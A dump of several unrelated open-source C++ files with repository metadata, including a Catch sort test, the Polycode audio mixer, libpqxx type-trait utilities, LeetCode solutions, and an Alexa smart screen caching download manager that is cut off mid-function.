"MIT"
] | null | null | null |
source/aufgabe13.cpp
|
Graunarmin/programmiersprachen-aufgabenblatt-3
|
c4a5f2c473460be02a73c819064b7deab85731b8
|
[
"MIT"
] | null | null | null |
source/aufgabe13.cpp
|
Graunarmin/programmiersprachen-aufgabenblatt-3
|
c4a5f2c473460be02a73c819064b7deab85731b8
|
[
"MIT"
] | null | null | null |
# define CATCH_CONFIG_RUNNER
# include <catch.hpp>
# include "aufgabe13.hpp"
void print(const std::vector<Circle> &vec)
{
for(const auto& i: vec){
std::cout << i.radius_ << ' ';
std::cout << std::endl;
}
}
TEST_CASE("Kreise sortieren", "[sort]")
{
std::vector<Circle> vCircles(10);
for(auto& i: vCircles)
{
i = Circle{std::rand() % 50, Vec2{std::rand() % 50, std::rand()%50}};
}
std::cout<< "Kreisradien: \n";
print(vCircles);
std::sort(vCircles.begin(), vCircles.end(), compare());
std::cout<< "Und sortiert mit functor: \n";
print(vCircles);
REQUIRE(std::is_sorted(vCircles.begin(), vCircles.end()));
}
int main(int argc, char* argv[]){
return Catch::Session().run(argc, argv);
}
| 20.142857
| 71
| 0.636879
|
Graunarmin
|
15020f3a25c179d76d59ce59fb3588b5fb4cfaec
| 5,192
|
cpp
|
C++
|
src/core/PolySoundManager.cpp
|
my-digital-decay/Polycode
|
5dd1836bc4710aea175a77433c17696f8330f596
|
[
"MIT"
] | null | null | null |
src/core/PolySoundManager.cpp
|
my-digital-decay/Polycode
|
5dd1836bc4710aea175a77433c17696f8330f596
|
[
"MIT"
] | null | null | null |
src/core/PolySoundManager.cpp
|
my-digital-decay/Polycode
|
5dd1836bc4710aea175a77433c17696f8330f596
|
[
"MIT"
] | null | null | null |
/*
Copyright (C) 2011 by Ivan Safrin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include "polycode/core/PolySoundManager.h"
#include "polycode/core/PolyCore.h"
#include "polycode/core/PolyLogger.h"
#include <stdint.h>
#include <limits>
using namespace Polycode;
#ifndef INT16_MAX
#define INT16_MAX (std::numeric_limits<int16_t>::max())
#endif
SoundManager::SoundManager() {
audioInterface = NULL;
testVal = 0.0;
leftOver = 0.0;
mixer = new AudioMixer();
mixer->globalVolume = 1.0;
}
void SoundManager::setGlobalVolume(Number globalVolume) {
mixer->globalVolume = globalVolume;
}
void SoundManager::setListenerPosition(const Vector3 &position) {
if(mixer) {
mixer->listenerPosition = position;
}
}
void SoundManager::setListenerOrientation(const Quaternion &orientation) {
if(mixer) {
mixer->listenerOrientation = orientation;
}
}
bool SoundManager::recordSound(unsigned int rate, unsigned int sampleSize) {
// NOAL_TODO
/*
if(captureDevice) {
Logger::log("Error: Audio capture already in progress\n");
return false;
}
captureDevice = alcCaptureOpenDevice(NULL, rate, AL_FORMAT_STEREO16, sampleSize);
if (alGetError() != AL_NO_ERROR) {
captureDevice = NULL;
return false;
}
recordingBufferRate = rate;
recordingBuffer = (ALbyte*) malloc(1);
recordingBufferSize = 0;
alcCaptureStart(captureDevice);
return true;
*/
return false;
}
Sound *SoundManager::stopRecording(bool generateFloatBuffer) {
/*
if(!captureDevice) {
Logger::log("No recording in process\n");
return NULL;
}
alcCaptureStop(captureDevice);
alcCaptureCloseDevice(captureDevice);
captureDevice = NULL;
Sound *newSound = new Sound(recordingBufferSize, (const char*)recordingBuffer, 2, recordingBufferRate, 16, generateFloatBuffer);
free(recordingBuffer);
return newSound;
*/
// NOAL_TODO
return NULL;
}
void SoundManager::registerSound(Sound *sound) {
mixer->mixerMutex.lock();
mixer->sounds.push_back(sound);
mixer->mixerMutex.unlock();
}
void SoundManager::unregisterSound(Sound *sound) {
mixer->mixerMutex.lock();
for(int i=0; i < mixer->sounds.size(); i++) {
if(mixer->sounds[i] == sound) {
mixer->sounds.erase(mixer->sounds.begin()+i);
mixer->mixerMutex.unlock();
return;
}
}
mixer->mixerMutex.unlock();
}
void SoundManager::setAudioInterface(AudioInterface *audioInterface) {
this->audioInterface = audioInterface;
if(audioInterface) {
audioInterface->setMixer(mixer);
}
}
AudioInterface::~AudioInterface() {
}
AudioInterface::AudioInterface() {
}
void AudioInterface::setMixer(AudioMixer *mixer) {
this->mixer = mixer;
}
AudioMixer *AudioInterface::getMixer() {
return mixer;
}
inline Number mixSamples(Number A, Number B) {
if (A < 0 && B < 0 ) {
return (A + B) - (A * B)/-1.0;
} else if (A > 0 && B > 0 ) {
return (A + B) - (A * B)/1.0;
} else {
return A + B;
}
}
AudioMixer::AudioMixer() {
}
AudioMixer::~AudioMixer() {
}
void AudioMixer::mixIntoBuffer(int16_t *buffer, unsigned int numSamples) {
mixerMutex.lock();
if (sounds.size() == 0) {
memset(buffer, 0, sizeof(int16_t) * numSamples * POLY_NUM_CHANNELS);
mixerMutex.unlock();
return;
}
for(int i=0; i < sounds.size(); i++) {
sounds[i]->updateStream(numSamples);
}
int16_t *bufferPtr = buffer;
for(int i=0; i < numSamples; i++) {
Number mixResults[POLY_NUM_CHANNELS];
memset(mixResults, 0, sizeof(Number) * POLY_NUM_CHANNELS);
int mixNum = 0;
for(int i=0; i < sounds.size(); i++) {
if(sounds[i]->isPlaying()) {
for(int c=0; c < POLY_NUM_CHANNELS; c++) {
Number sampleA = mixResults[c];
Number sampleB = sounds[i]->getSampleAsNumber(sounds[i]->getOffset(), c, listenerPosition, listenerOrientation);
if(mixNum == 0) {
mixResults[c] = sampleB;
} else {
mixResults[c] = mixSamples(sampleA, sampleB);
}
}
sounds[i]->setOffset(sounds[i]->getOffset()+1);
mixNum++;
}
}
for(int c=0; c < POLY_NUM_CHANNELS; c++) {
*bufferPtr = (int16_t)(((Number)INT16_MAX) * (mixResults[c] * globalVolume));
bufferPtr++;
}
}
mixerMutex.unlock();
}
void SoundManager::Update() {
}
SoundManager::~SoundManager() {
delete audioInterface;
}
| 24.606635
| 129
| 0.704931
|
my-digital-decay
|
15056175e8e1705fdb2a9d2fc0b33cdca726924d
| 562
|
cpp
|
C++
|
test/unit_tests/tests/12_geometric_test.cpp
|
bacchus/bacchuslib
|
35c41b6a7244227c0779c99b3c2f98b9a8349477
|
[
"MIT"
] | null | null | null |
test/unit_tests/tests/12_geometric_test.cpp
|
bacchus/bacchuslib
|
35c41b6a7244227c0779c99b3c2f98b9a8349477
|
[
"MIT"
] | null | null | null |
test/unit_tests/tests/12_geometric_test.cpp
|
bacchus/bacchuslib
|
35c41b6a7244227c0779c99b3c2f98b9a8349477
|
[
"MIT"
] | null | null | null |
#include "setting.h"
#include "math/geometric.h"
using namespace bacchus;
/*
* p1------p2
* \ direction > 0
* \
* p0
*/
TEST(geometric_test, segments_intersection) {
vec2f p0(5,5);
vec2f p1(2,10);
vec2f p2(8,10);
EXPECT_TRUE(direction(p0,p1,p2) > 0.f);
EXPECT_TRUE(direction(p0,p2,p1) < 0.f);
EXPECT_TRUE(onsegment(p1,p2,vec2f(5,10)));
EXPECT_TRUE(segments_intersect(p1,p2,p0,vec2f(5,15)));
EXPECT_FALSE(segments_intersect(p1,p2,p0,vec2f(10,5)));
EXPECT_TRUE(segments_intersect(p1,p2,p0,p1));
}
| 20.814815
| 59
| 0.628114
|
bacchus
|
150815ecc5231eba661565cfa69dbe0aadc4dc9e
| 1,805
|
cpp
|
C++
|
networklayer/synthesis_results_HMB/ETH_inserter_hls_prj/ultrascale_plus/.autopilot/db/hls_design_meta.cpp
|
OCT-FPGA/udp-network-demo
|
76fba0d4315abf7bffe77959a2501c287f20ecec
|
[
"BSD-3-Clause"
] | null | null | null |
networklayer/synthesis_results_HMB/ETH_inserter_hls_prj/ultrascale_plus/.autopilot/db/hls_design_meta.cpp
|
OCT-FPGA/udp-network-demo
|
76fba0d4315abf7bffe77959a2501c287f20ecec
|
[
"BSD-3-Clause"
] | null | null | null |
networklayer/synthesis_results_HMB/ETH_inserter_hls_prj/ultrascale_plus/.autopilot/db/hls_design_meta.cpp
|
OCT-FPGA/udp-network-demo
|
76fba0d4315abf7bffe77959a2501c287f20ecec
|
[
"BSD-3-Clause"
] | null | null | null |
#include "hls_design_meta.h"
const Port_Property HLS_Design_Meta::port_props[]={
Port_Property("dataIn_TDATA", 512, hls_in, 0, "axis", "in_data", 1),
Port_Property("dataIn_TKEEP", 64, hls_in, 1, "axis", "in_data", 1),
Port_Property("dataIn_TSTRB", 64, hls_in, 2, "axis", "in_data", 1),
Port_Property("dataIn_TLAST", 1, hls_in, 3, "axis", "in_data", 1),
Port_Property("dataOut_TDATA", 512, hls_out, 4, "axis", "out_data", 1),
Port_Property("dataOut_TKEEP", 64, hls_out, 5, "axis", "out_data", 1),
Port_Property("dataOut_TSTRB", 64, hls_out, 6, "axis", "out_data", 1),
Port_Property("dataOut_TLAST", 1, hls_out, 7, "axis", "out_data", 1),
Port_Property("arpTableReplay_V_TDATA", 128, hls_in, 8, "axis", "in_data", 1),
Port_Property("arpTableRequest_V_TDATA", 32, hls_out, 9, "axis", "out_data", 1),
Port_Property("myMacAddress", 48, hls_in, 10, "ap_none", "in_data", 1),
Port_Property("regSubNetMask", 32, hls_in, 11, "ap_none", "in_data", 1),
Port_Property("regDefaultGateway", 32, hls_in, 12, "ap_none", "in_data", 1),
Port_Property("ap_clk", 1, hls_in, -1, "", "", 1),
Port_Property("ap_rst_n", 1, hls_in, -1, "", "", 1),
Port_Property("dataIn_TVALID", 1, hls_in, 3, "axis", "in_vld", 1),
Port_Property("dataIn_TREADY", 1, hls_out, 3, "axis", "in_acc", 1),
Port_Property("arpTableRequest_V_TVALID", 1, hls_out, 9, "axis", "out_vld", 1),
Port_Property("arpTableRequest_V_TREADY", 1, hls_in, 9, "axis", "out_acc", 1),
Port_Property("arpTableReplay_V_TVALID", 1, hls_in, 8, "axis", "in_vld", 1),
Port_Property("arpTableReplay_V_TREADY", 1, hls_out, 8, "axis", "in_acc", 1),
Port_Property("dataOut_TVALID", 1, hls_out, 7, "axis", "out_vld", 1),
Port_Property("dataOut_TREADY", 1, hls_in, 7, "axis", "out_acc", 1),
};
const char* HLS_Design_Meta::dut_name = "ethernet_header_inserter";
| 64.464286
| 81
| 0.689197
|
OCT-FPGA
|
1508f20fb6fa396adea4cc28ccf9f09442bb36f5
| 516
|
cpp
|
C++
|
code/1049.cpp
|
Tomspiano/PAT-Advanced-Level-Practice
|
e7f543a23f852bcbad52170897a42b41622191ed
|
[
"MIT"
] | null | null | null |
code/1049.cpp
|
Tomspiano/PAT-Advanced-Level-Practice
|
e7f543a23f852bcbad52170897a42b41622191ed
|
[
"MIT"
] | null | null | null |
code/1049.cpp
|
Tomspiano/PAT-Advanced-Level-Practice
|
e7f543a23f852bcbad52170897a42b41622191ed
|
[
"MIT"
] | null | null | null |
#include<bits/stdc++.h>
#define N 35
using namespace std;
#define rep(i,a,b) for(int i=(a); i<(b); ++i)
int n;
int main() {
//while(~
scanf("%d", &n);
//) {
int sum = 0, r = 1;
int lf, curr, rt;
while(n/r) {
lf=n/(r*10), curr=n/r%10, rt=n%r;
if(curr == 0) {
//printf("%d ", lf*r);
sum += lf*r;
}
else if(curr == 1) {
//printf("%d ", lf*r + rt + 1);
sum += lf*r + rt + 1;
}
else {
//printf("%d ", (lf + 1)*r);
sum += (lf + 1)*r;
}
r *= 10;
}
printf("%d\n", sum);
//}
return 0;
}
| 14.742857
| 45
| 0.449612
|
Tomspiano
|
1510ddd30c2d63949ea9d4bd795f47cdac42d2d4
| 2,280
|
cpp
|
C++
|
Leet Code/Number of Good Ways to Split a String.cpp
|
Shubhrmcf07/Competitive-Coding-and-Interview-Problems
|
7281ea3163c0cf6938a3af7b54a8a14f97c97c0e
|
[
"MIT"
] | 51
|
2020-02-24T11:14:00.000Z
|
2022-03-24T09:32:18.000Z
|
Leet Code/Number of Good Ways to Split a String.cpp
|
Shubhrmcf07/Competitive-Coding-and-Interview-Problems
|
7281ea3163c0cf6938a3af7b54a8a14f97c97c0e
|
[
"MIT"
] | 3
|
2020-10-02T08:16:09.000Z
|
2021-04-17T16:32:38.000Z
|
Leet Code/Number of Good Ways to Split a String.cpp
|
Shubhrmcf07/Competitive-Coding-and-Interview-Problems
|
7281ea3163c0cf6938a3af7b54a8a14f97c97c0e
|
[
"MIT"
] | 18
|
2020-04-24T15:33:36.000Z
|
2022-03-24T09:32:20.000Z
|
/* Leet Code */
/* Title - Number of Good Ways to Split a String */
/* Created By - Akash Modak */
/* Date - 25/09/2020 */
// You are given a string s, a split is called good if you can split s into 2 non-empty strings p and q where its concatenation is equal to s and the number of distinct letters in p and q are the same.
// Return the number of good splits you can make in s.
// Example 1:
// Input: s = "aacaba"
// Output: 2
// Explanation: There are 5 ways to split "aacaba" and 2 of them are good.
// ("a", "acaba") Left string and right string contains 1 and 3 different letters respectively.
// ("aa", "caba") Left string and right string contains 1 and 3 different letters respectively.
// ("aac", "aba") Left string and right string contains 2 and 2 different letters respectively (good split).
// ("aaca", "ba") Left string and right string contains 2 and 2 different letters respectively (good split).
// ("aacab", "a") Left string and right string contains 3 and 1 different letters respectively.
// Example 2:
// Input: s = "abcd"
// Output: 1
// Explanation: Split the string as follows ("ab", "cd").
// Example 3:
// Input: s = "aaaaa"
// Output: 4
// Explanation: All possible splits are good.
// Example 4:
// Input: s = "acbadbaada"
// Output: 2
class Solution {
public:
int numSplits(string s) {
unordered_map<char,int> right,left;
int rightcount=0,leftcount=0;
for(int i=0;i<s.length();i++){
/* count number of unique characters on the right split*/
if(!right.count(s[i]))
rightcount++;
right[s[i]]++;
}
int ans=0;
for(int i=0;i<s.length();i++){
/* count number of unique characters on the left split*/
if(!left.count(s[i]))
leftcount++;
left[s[i]]++;
if(right[s[i]]>0)
right[s[i]]--;
if(right[s[i]]==0)
rightcount--;
/* if both are same increase the counter of good splits*/
if(rightcount==leftcount){
ans++;
}
}
return ans;
}
};
| 32.571429
| 202
| 0.555702
|
Shubhrmcf07
|
1513296d0e5967145ebc9e2f5d26cd4850acd466
| 7,092
|
hxx
|
C++
|
include/pqxx/internal/type_utils.hxx
|
yogsothoth/libpqxx
|
af9bf34e1ae450e8925a758594f772ba0b515abb
|
[
"BSD-3-Clause"
] | null | null | null |
include/pqxx/internal/type_utils.hxx
|
yogsothoth/libpqxx
|
af9bf34e1ae450e8925a758594f772ba0b515abb
|
[
"BSD-3-Clause"
] | null | null | null |
include/pqxx/internal/type_utils.hxx
|
yogsothoth/libpqxx
|
af9bf34e1ae450e8925a758594f772ba0b515abb
|
[
"BSD-3-Clause"
] | null | null | null |
/** Type/template metaprogramming utilities for use internally in libpqxx
*
* Copyright (c) 2001-2018, Jeroen T. Vermeulen.
*
* See COPYING for copyright license. If you did not receive a file called
* COPYING with this source code, please notify the distributor of this mistake,
* or contact the author.
*/
#ifndef PQXX_H_TYPE_UTILS
#define PQXX_H_TYPE_UTILS
#include <memory>
#include <type_traits>
#if defined(PQXX_HAVE_OPTIONAL)
#include <optional>
#elif defined(PQXX_HAVE_EXP_OPTIONAL) && !defined(PQXX_HIDE_EXP_OPTIONAL)
#include <experimental/optional>
#endif
namespace pqxx
{
namespace internal
{
/// Replicate std::void_t<> (available in C++17)
template<typename... T> using void_t = void;
/// Shortcut for detecting type held by an optional-like wrapper type
template<typename T> using inner_type = typename std::remove_reference<
decltype(*std::declval<T>())
>::type;
/// Detect if the given type has an `operator *()`
template<typename T, typename = void> struct is_derefable : std::false_type {};
template<typename T> struct is_derefable<T, void_t<
// Disable for arrays so they don't erroneously decay to pointers
inner_type<typename std::enable_if<!std::is_array<T>::value, T>::type>
>> : std::true_type {};
/// Detect if the given type should be treated as an optional-value wrapper type
template<typename T, typename = void> struct is_optional : std::false_type {};
template<typename T> struct is_optional<T, typename std::enable_if<(
is_derefable<T>::value
// Check if an `explicit operator bool` exists for this type
&& std::is_constructible<bool, T>::value
)>::type> : std::true_type {};
/// Detect if `std::nullopt_t`/`std::experimental::nullopt_t` can be implicitly
/// converted to the given type
template<
typename T,
typename = void
> struct takes_std_nullopt : std::false_type {};
#if defined(PQXX_HAVE_OPTIONAL)
template<typename T> struct takes_std_nullopt<
T,
typename std::enable_if<std::is_assignable<T, std::nullopt_t>::value>::type
> : std::true_type {};
#elif defined(PQXX_HAVE_EXP_OPTIONAL) && !defined(PQXX_HIDE_EXP_OPTIONAL)
template<typename T> struct takes_std_nullopt<
T,
typename std::enable_if<
std::is_assignable<T, std::experimental::nullopt_t>::value
>::type
> : std::true_type {};
#endif
/// Detect if type is a `std::tuple<>`
template<typename T, typename = void> struct is_tuple : std::false_type {};
template<typename T> struct is_tuple<
T,
typename std::enable_if<(std::tuple_size<T>::value >= 0)>::type
> : std::true_type {};
/// Detect if a type is an iterable container
template<typename T, typename = void> struct is_container : std::false_type {};
template<typename T> struct is_container<
T,
void_t<
decltype(std::begin(std::declval<T>())),
decltype(std::end(std::declval<T>())),
// Some people might implement a `std::tuple<>` specialization that is
// iterable when all the contained types are the same ;)
typename std::enable_if<!is_tuple<T>::value>::type
>
> : std::true_type {};
/// Get an appropriate null value for the given type
/**
* pointer types `nullptr`
* `std::optional<>`-like `std::nullopt`
* `std::experimental::optional<>`-like `std::experimental::nullopt`
* other types `pqxx::string_traits<>::null()`
* Users may add support for their own wrapper types following this pattern.
*/
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
(
is_optional<T>::value
&& !takes_std_nullopt<T>::value
&& std::is_assignable<T, std::nullptr_t>::value
),
std::nullptr_t
>::type
{ return nullptr; }
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
(!is_optional<T>::value && !takes_std_nullopt<T>::value),
decltype(pqxx::string_traits<T>::null())
>::type
{ return pqxx::string_traits<T>::null(); }
#if defined(PQXX_HAVE_OPTIONAL)
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
takes_std_nullopt<T>::value,
std::nullopt_t
>::type
{ return std::nullopt; }
#elif defined(PQXX_HAVE_EXP_OPTIONAL) && !defined(PQXX_HIDE_EXP_OPTIONAL)
template<typename T> constexpr auto null_value()
-> typename std::enable_if<
takes_std_nullopt<T>::value,
std::experimental::nullopt_t
>::type
{ return std::experimental::nullopt; }
#endif
/// Construct an optional-like type from the stored type
/**
* While these may seem redundant, they are necessary to support smart pointers
* as optional storage types in a generic manner. It is suggested NOT to
* provide a version for `inner_type<T>*` as that will almost certainly leak
* memory.
* Users may add support for their own wrapper types following this pattern.
*/
// Enabled if the wrapper type can be directly constructed from the wrapped type
// (e.g. `std::optional<>`); explicitly disabled for raw pointers in case the
// inner type is convertible to a pointer (e.g. `int`)
template<typename T, typename V> constexpr auto make_optional(V&& v)
-> typename std::enable_if<
!std::is_same<T, inner_type<T>*>::value,
decltype(T(std::forward<V>(v)))
>::type
{ return T(std::forward<V>(v)); }
// Enabled if T is a specialization of `std::unique_ptr<>`
template<typename T, typename V> constexpr auto make_optional(V&& v)
-> typename std::enable_if<
std::is_same<T, std::unique_ptr<inner_type<T>>>::value,
std::unique_ptr<inner_type<T>>
>::type
{
return std::unique_ptr<inner_type<T>>(new inner_type<T>(std::forward<V>(v)));
}
// Enabled if T is a specialization of `std::shared_ptr<>`
template<typename T, typename V> constexpr auto make_optional(V&& v)
-> typename std::enable_if<
std::is_same<T, std::shared_ptr<inner_type<T>>>::value,
std::shared_ptr<inner_type<T>>
>::type
{ return std::make_shared<inner_type<T>>(std::forward<V>(v)); }
} // namespace pqxx::internal
} // namespace pqxx
// TODO: Move?
namespace pqxx
{
/// Meta `pqxx::string_traits` for optional types
template<typename T> struct string_traits<
T,
typename std::enable_if<internal::is_optional<T>::value>::type
>
{
private:
using I = internal::inner_type<T>;
public:
static constexpr const char *name() noexcept
{ return string_traits<I>::name(); }
static constexpr bool has_null() noexcept { return true; }
static bool is_null(const T& v)
{ return (!v || string_traits<I>::is_null(*v)); }
static constexpr T null() { return internal::null_value<T>(); }
static void from_string(const char Str[], T &Obj)
{
if (!Str) Obj = null();
else
{
I inner;
string_traits<I>::from_string(Str, inner);
// Utilize existing memory if possible (e.g. for pointer types)
if (Obj) *Obj = inner;
// Important to assign to set valid flag for smart optional types
else Obj = internal::make_optional<T>(inner);
}
}
static std::string to_string(const T& Obj)
{
if (is_null(Obj)) internal::throw_null_conversion(name());
return string_traits<I>::to_string(*Obj);
}
};
} // namespace pqxx
#endif
| 33.611374
| 80
| 0.695431
|
yogsothoth
|
15178037d8f264798f94965d677ddf106dcfe681
| 13,782
|
cpp
|
C++
|
modules/Alexa/SampleApp/src/CachingDownloadManager.cpp
|
germanviscuso/alexa-smart-screen-sdk
|
9878cafa35df05d862b3bfc027aa6b1b463ef9c1
|
[
"Apache-2.0"
] | null | null | null |
modules/Alexa/SampleApp/src/CachingDownloadManager.cpp
|
germanviscuso/alexa-smart-screen-sdk
|
9878cafa35df05d862b3bfc027aa6b1b463ef9c1
|
[
"Apache-2.0"
] | null | null | null |
modules/Alexa/SampleApp/src/CachingDownloadManager.cpp
|
germanviscuso/alexa-smart-screen-sdk
|
9878cafa35df05d862b3bfc027aa6b1b463ef9c1
|
[
"Apache-2.0"
] | null | null | null |
/*
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0/
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#include <fstream>
#include <unordered_map>
#include <AVSCommon/Utils/JSON/JSONUtils.h>
#include "SampleApp/CachingDownloadManager.h"
#include <RegistrationManager/CustomerDataManager.h>
namespace alexaSmartScreenSDK {
namespace sampleApp {
static const std::string TAG{"CachingDownloadManager"};
#define LX(event) alexaClientSDK::avsCommon::utils::logger::LogEntry(TAG, event)
using namespace alexaClientSDK::avsCommon::avs::attachment;
using namespace alexaClientSDK::avsCommon::sdkInterfaces;
using namespace alexaClientSDK::avsCommon::utils::json;
using namespace alexaClientSDK::avsCommon::utils::libcurlUtils;
using namespace alexaClientSDK::avsCommon::utils::sds;
/// Process attachment ID
static const std::string PROCESS_ATTACHMENT_ID = "import_download:";
/// A wait period for a polling loop that constantly check if a content fetcher finished fetching the payload or failed.
static const std::chrono::milliseconds WAIT_FOR_ACTIVITY_TIMEOUT{100};
/// Timeout to wait for am item to arrive from the content fetcher
static const std::chrono::minutes FETCH_TIMEOUT{5};
/// The number of bytes read from the attachment with each read in the read loop.
static const size_t CHUNK_SIZE(1024);
/// Component name for SmartScreenSampleApp
static const std::string COMPONENT_NAME = "SmartScreenSampleApp";
/// Table name for APL packages
static const std::string TABLE_NAME = "Packages";
/// Delimiter to separate package content and import time, since we currently have only one column for value in misc
/// storage
static const std::string DELIMITER = "||||";
/// The number of retries when downloading a package from source
static const int DOWNLOAD_FROM_SOURCE_RETRY_ATTEMPTS = 3;
CachingDownloadManager::CachingDownloadManager(
std::shared_ptr<alexaClientSDK::avsCommon::sdkInterfaces::HTTPContentFetcherInterfaceFactoryInterface>
httpContentFetcherInterfaceFactoryInterface,
unsigned long cachePeriodInSeconds,
unsigned long maxCacheSize,
std::shared_ptr<alexaClientSDK::avsCommon::sdkInterfaces::storage::MiscStorageInterface> miscStorage,
const std::shared_ptr<alexaClientSDK::registrationManager::CustomerDataManager> customerDataManager) :
CustomerDataHandler{customerDataManager},
m_contentFetcherFactory{httpContentFetcherInterfaceFactoryInterface},
m_cachePeriod{std::chrono::seconds(cachePeriodInSeconds)},
m_maxCacheSize{maxCacheSize},
m_miscStorage(miscStorage) {
bool doesTableExist = false;
if (!m_miscStorage->tableExists(COMPONENT_NAME, TABLE_NAME, &doesTableExist)) {
ACSDK_ERROR(LX(__func__).m("Cannot check for table existence."));
}
if (!doesTableExist) {
if (!m_miscStorage->createTable(
COMPONENT_NAME,
TABLE_NAME,
alexaClientSDK::avsCommon::sdkInterfaces::storage::MiscStorageInterface::KeyType::STRING_KEY,
alexaClientSDK::avsCommon::sdkInterfaces::storage::MiscStorageInterface::ValueType::STRING_VALUE)) {
ACSDK_ERROR(LX(__func__).m("Cannot create table for storing APL packages."));
}
} else {
std::unordered_map<std::string, std::string> packageMap;
if (!m_miscStorage->load(COMPONENT_NAME, TABLE_NAME, &packageMap)) {
ACSDK_ERROR(LX(__func__).m("Cannot load downloaded packages."));
}
for (auto kvp : packageMap) {
size_t delimiterPos = kvp.second.find(DELIMITER);
if (delimiterPos == std::string::npos) {
ACSDK_ERROR(LX(__func__).m("Package content for " + kvp.first + " is corrupted."));
} else {
auto timeStamp = kvp.second.substr(0, delimiterPos);
auto packageContent = kvp.second.substr(delimiterPos + DELIMITER.length());
auto importTime =
std::chrono::time_point<std::chrono::system_clock>(std::chrono::seconds(std::stol(timeStamp)));
if (std::chrono::system_clock::now() - importTime < m_cachePeriod) {
ACSDK_DEBUG9(LX(__func__).m("Loaded package " + kvp.first + " from misc storage"));
cachedContentMap[kvp.first] = CachedContent(importTime, packageContent);
}
}
}
}
}
CachingDownloadManager::CachedContent::CachedContent(
std::chrono::system_clock::time_point importTime,
const std::string& content) {
this->importTime = importTime;
this->content = content;
}
std::string CachingDownloadManager::retrieveContent(const std::string& source, std::shared_ptr<Observer> observer) {
{
const std::lock_guard<std::mutex> lock(cachedContentMapMutex);
if (cachedContentMap.find(source) != cachedContentMap.end()) {
if ((std::chrono::system_clock::now() - cachedContentMap[source].importTime) < m_cachePeriod) {
ACSDK_DEBUG9(LX("retrieveContent").d("contentSource", "returnedFromCache"));
if (observer) {
observer->onCacheHit();
}
return cachedContentMap[source].content;
}
}
}
std::string content;
for (int i = 0; i < DOWNLOAD_FROM_SOURCE_RETRY_ATTEMPTS; i++) {
content = downloadFromSource(source, observer);
ACSDK_DEBUG9(LX("retrieveContent").d("contentSource", "downloadedFromSource"));
if (!content.empty()) {
auto cachedContent = CachedContent(std::chrono::system_clock::now(), content);
{
const std::lock_guard<std::mutex> lock(cachedContentMapMutex);
cachedContentMap[source] = cachedContent;
cleanUpCache();
}
writeToStorage(source, cachedContent);
return content;
}
}
ACSDK_ERROR(LX("retrieveContent").d("contentSource", "downloadedFromSourceFailedAllRetries"));
return content;
}
void CachingDownloadManager::writeToStorage(
std::string source,
alexaSmartScreenSDK::sampleApp::CachingDownloadManager::CachedContent content) {
m_executor.submit([this, source, content] {
if (!m_miscStorage->put(COMPONENT_NAME, TABLE_NAME, source, cachedContentToString(content, DELIMITER))) {
ACSDK_ERROR(LX(__func__).m("Failed to write package to disk storage."));
} else {
ACSDK_DEBUG9(LX(__func__).m("Successfully stored " + source + " to disk"));
}
});
}
void CachingDownloadManager::cleanUpCache() {
std::chrono::system_clock::time_point oldestTime = std::chrono::system_clock::time_point::max();
std::string oldestSource;
for (auto it = cachedContentMap.begin(); it != cachedContentMap.end();) {
if ((std::chrono::system_clock::now() - it->second.importTime) > m_cachePeriod) {
removeFromStorage(it->first);
it = cachedContentMap.erase(it);
ACSDK_DEBUG9(LX("cleanUpCache").d("deletedCacheEntry", "entryExpired"));
} else {
if (it->second.importTime < oldestTime) {
oldestTime = it->second.importTime;
oldestSource = it->first;
}
it++;
}
}
if (cachedContentMap.size() > m_maxCacheSize) {
cachedContentMap.erase(oldestSource);
ACSDK_DEBUG9(LX("cleanUpCache").d("deletedCacheEntry", "maxCacheSizeReached"));
}
}
void CachingDownloadManager::clearData() {
ACSDK_DEBUG5(LX(__func__));
if (!m_miscStorage->clearTable(COMPONENT_NAME, TABLE_NAME)) {
ACSDK_ERROR(LX("clearTableFailed").d("reason", "unable to clear the table from the database"));
}
}
void CachingDownloadManager::removeFromStorage(std::string source) {
m_executor.submit([this, source] {
if (!m_miscStorage->remove(COMPONENT_NAME, TABLE_NAME, source)) {
ACSDK_ERROR(LX(__func__).m("Failed to remove package " + source + " from disk."));
} else {
ACSDK_DEBUG9(LX(__func__).m("Removed package " + source + " from disk."));
}
});
}
std::string CachingDownloadManager::downloadFromSource(const std::string& source, std::shared_ptr<Observer> observer) {
if (observer) {
observer->onDownloadStarted();
}
auto contentFetcher = m_contentFetcherFactory->create(source);
contentFetcher->getContent(HTTPContentFetcherInterface::FetchOptions::ENTIRE_BODY);
HTTPContentFetcherInterface::Header header = contentFetcher->getHeader(nullptr);
if (!header.successful) {
ACSDK_ERROR(LX(__func__).sensitive("source", source).m("getHeaderFailed"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
if (!isStatusCodeSuccess(header.responseCode)) {
ACSDK_ERROR(LX("downloadFromSourceFailed")
.d("statusCode", header.responseCode)
.sensitive("url", source)
.d("reason", "nonSuccessStatusCodeFromGetHeader"));
if (observer) {
observer->onDownloadFailed();
}
return "";
}
ACSDK_DEBUG9(LX("downloadFromSource")
.d("contentType", header.contentType)
.d("statusCode", header.responseCode)
.sensitive("url", source)
.m("headersReceived"));
auto stream = std::make_shared<InProcessAttachment>(PROCESS_ATTACHMENT_ID);
